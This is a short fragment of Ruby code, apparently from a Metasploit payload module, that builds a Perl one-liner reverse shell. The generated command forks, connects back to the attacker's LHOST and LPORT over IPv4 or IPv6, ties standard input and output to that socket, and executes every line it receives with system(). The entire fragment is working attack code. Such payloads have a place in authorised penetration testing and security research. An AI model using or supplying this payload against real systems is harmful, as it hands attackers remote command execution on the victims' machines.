def command_string
    lhost = datastore['LHOST']
    ver   = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
    lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
    cmd   = "#{datastore['PerlPath']} -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET#{ver}(PeerAddr,\"#{lhost}:#{datastore['LPORT']}\");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'"